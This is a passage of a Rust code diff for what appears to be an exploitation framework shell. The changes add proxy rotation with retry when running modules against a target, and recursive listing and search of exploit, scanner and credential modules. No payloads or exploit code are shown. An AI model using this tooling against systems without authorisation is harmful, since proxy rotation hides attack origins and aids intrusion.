ctx.current_target = Some(parts[2].to_string());
println!("Target set to {}", parts[2]);
} else {
println!("Usage: set target <value>");
}
},
"run" => {
if let Some(ref module_path) = current_module {
if let Some(ref t) = current_target {
println!("Running module '{}' against target '{}'", module_path, t);
commands::run_module(module_path, t).await?;
if let Some(ref module_path) = ctx.current_module {
if let Some(ref t) = ctx.current_target {
// -----------------------------
// NEW: Proxy Retry Logic
// -----------------------------
if ctx.proxy_enabled && !ctx.proxy_list.is_empty() {
let mut tried_proxies = HashSet::new();
let mut success = false;
while tried_proxies.len() < ctx.proxy_list.len() {
let chosen_proxy = pick_random_untried_proxy(&ctx.proxy_list, &tried_proxies);
set_all_proxy_env(&chosen_proxy);
println!("[*] Using proxy: {}", chosen_proxy);
println!("Running module '{}' against target '{}'", module_path, t);
match commands::run_module(module_path, t).await {
Ok(_) => {
success = true;
break;
}
Err(e) => {
eprintln!("[!] Module failed with error: {:?}", e);
eprintln!(" Retrying with a new proxy...");
tried_proxies.insert(chosen_proxy);
}
}
}
if !success {
println!("[!] All proxies failed. Trying direct connection...");
clear_proxy_env_vars();
if let Err(e) = commands::run_module(module_path, t).await {
eprintln!("[!] Final direct attempt also failed: {:?}", e);
}
}
} else if ctx.proxy_enabled && ctx.proxy_list.is_empty() {
println!("[!] No proxies loaded, but proxy is ON. Doing direct attempt...");
clear_proxy_env_vars();
if let Err(e) = commands::run_module(module_path, t).await {
eprintln!("[!] Module failed: {:?}", e);
}
} else {
clear_proxy_env_vars();
if let Err(e) = commands::run_module(module_path, t).await {
eprintln!("[!] Module failed: {:?}", e);
}
}
} else {
println!("No target set. Use 'set target <value>' first.");
}
@@ -77,3 +185,33 @@ pub async fn interactive_shell() -> Result<()> {
Ok(())
}
/// Picks a random proxy from `proxy_list` that is NOT in `tried_proxies`.
fn pick_random_untried_proxy(proxy_list: &[String], tried_proxies: &HashSet<String>) -> String {
let untried: Vec<&String> = proxy_list.iter()
.filter(|p| !tried_proxies.contains(*p))
.collect();
if untried.is_empty() {
// Fall back if somehow there's nothing untried
let mut rng = rand::rng();
let idx = rng.random_range(0..proxy_list.len());
return proxy_list[idx].clone();
}
let mut rng = rand::rng();
let idx = rng.random_range(0..untried.len());
untried[idx].clone()
}
/// Sets ALL_PROXY so reqwest uses it for all requests (including socks4, socks5, http, https)
fn set_all_proxy_env(proxy: &str) {
env::set_var("ALL_PROXY", proxy);
}
/// Clears environment variables for direct connection
fn clear_proxy_env_vars() {
env::remove_var("ALL_PROXY");
env::remove_var("HTTP_PROXY");
env::remove_var("HTTPS_PROXY");
}
+144 -19
View File
@@ -1,25 +1,150 @@
use std::collections::HashSet;
use colored::*;
use std::fs;
use std::io::{BufRead, BufReader, Error};
use std::path::{Path};
/// Check if a module path is valid (exploits/..., scanners/..., creds/...)
pub fn module_exists(module_path: &str) -> bool {
// For demonstration, we only hard-code the known modules
let known_modules = [
"exploits/sample_exploit",
"scanners/sample_scanner",
"creds/sample_cred_check",
];
known_modules.contains(&module_path)
/// Maximum folder depth to traverse
const MAX_DEPTH: usize = 6;
/// Recursively list .rs files up to a certain depth (unchanged)
fn collect_module_paths(dir: &Path, depth: usize) -> Vec<String> {
let mut modules = Vec::new();
if depth > MAX_DEPTH || !dir.exists() {
return modules;
}
if let Ok(entries) = fs::read_dir(dir) {
for entry in entries.flatten() {
let path = entry.path();
if path.is_dir() {
modules.extend(collect_module_paths(&path, depth + 1));
} else if let Some(file_name) = path.file_name().and_then(|s| s.to_str()) {
if file_name.ends_with(".rs") && file_name != "mod.rs" {
let relative_path = path
.strip_prefix("src/modules")
.unwrap_or(&path)
.with_extension("")
.to_string_lossy()
.replace('\\', "/"); // For Windows
modules.push(relative_path);
}
}
}
}
modules
}
/// List all known modules
/// Dynamically checks if a module path exists at any depth (unchanged)
pub fn module_exists(module_path: &str) -> bool {
let modules = collect_module_paths(Path::new("src/modules"), 0);
modules.iter().any(|m| m == module_path)
}
/// Lists all available modules recursively under src/modules/ (unchanged)
pub fn list_all_modules() {
let modules = [
"exploits/sample_exploit",
"scanners/sample_scanner",
"creds/sample_cred_check",
];
println!("Available modules:");
for m in modules {
println!(" {}", m);
println!("{}", "Available modules:".bold().underline());
let modules = collect_module_paths(Path::new("src/modules"), 0);
if modules.is_empty() {
println!("{}", "No modules found.".red());
return;
}
let mut grouped = std::collections::BTreeMap::new();
for module in modules {
let parts: Vec<&str> = module.split('/').collect();
let category = parts.get(0).unwrap_or(&"Other").to_string();
grouped
.entry(category)
.or_insert_with(Vec::new)
.push(module.clone());
}
for (category, paths) in grouped {
println!("\n{}:", category.blue().bold());
for path in paths {
println!(" - {}", path.green());
}
}
}
/// Finds and displays modules matching a keyword
pub fn find_modules(keyword: &str) {
let keyword_lower = keyword.to_lowercase();
let modules = collect_module_paths(Path::new("src/modules"), 0);
let filtered: Vec<String> = modules
.into_iter()
.filter(|m| m.to_lowercase().contains(&keyword_lower))
.collect();
if filtered.is_empty() {
println!(
"{}",
format!("No modules found matching '{}'.", keyword).red()
);
return;
}
println!(
"{}",
format!("Modules matching '{}':", keyword).bold().underline()
);
let mut grouped = std::collections::BTreeMap::new();
for module in filtered {
let parts: Vec<&str> = module.split('/').collect();
let category = parts.get(0).unwrap_or(&"Other").to_string();
grouped
.entry(category)
.or_insert_with(Vec::new)
.push(module.clone());
}
for (category, paths) in grouped {
println!("\n{}:", category.blue().bold());
for path in paths {
println!(" - {}", path.green());
}
}
}
/// Parses a single proxy line (e.g., "1.2.3.4:9050" -> "http://1.2.3.4:9050")
/// or "socks5://127.0.0.1:9050" -> "socks5://127.0.0.1:9050"
fn parse_proxy_line(line: &str) -> String {
let trimmed = line.trim().to_lowercase();
if trimmed.starts_with("http://")
|| trimmed.starts_with("https://")
|| trimmed.starts_with("socks4://")
|| trimmed.starts_with("socks5://")
{
// User specified a scheme, keep as is (but restore original case if you want).
line.to_string()
} else {
// Default to HTTP if no scheme is provided
format!("http://{}", line)
}
}
/// Load proxies from a file, returning lines like:
/// [ "http://1.2.3.4:8080", "socks4://5.6.7.8:1080", "socks5://..." ] etc.
pub fn load_proxies_from_file(filename: &str) -> Result<Vec<String>, Error> {
let file = fs::File::open(filename)?;
let reader = BufReader::new(file);
let mut proxies = Vec::new();
for line in reader.lines() {
let line = line?.trim().to_string();
if !line.is_empty() {
let parsed = parse_proxy_line(&line);
proxies.push(parsed);
}
}
Ok(proxies)
}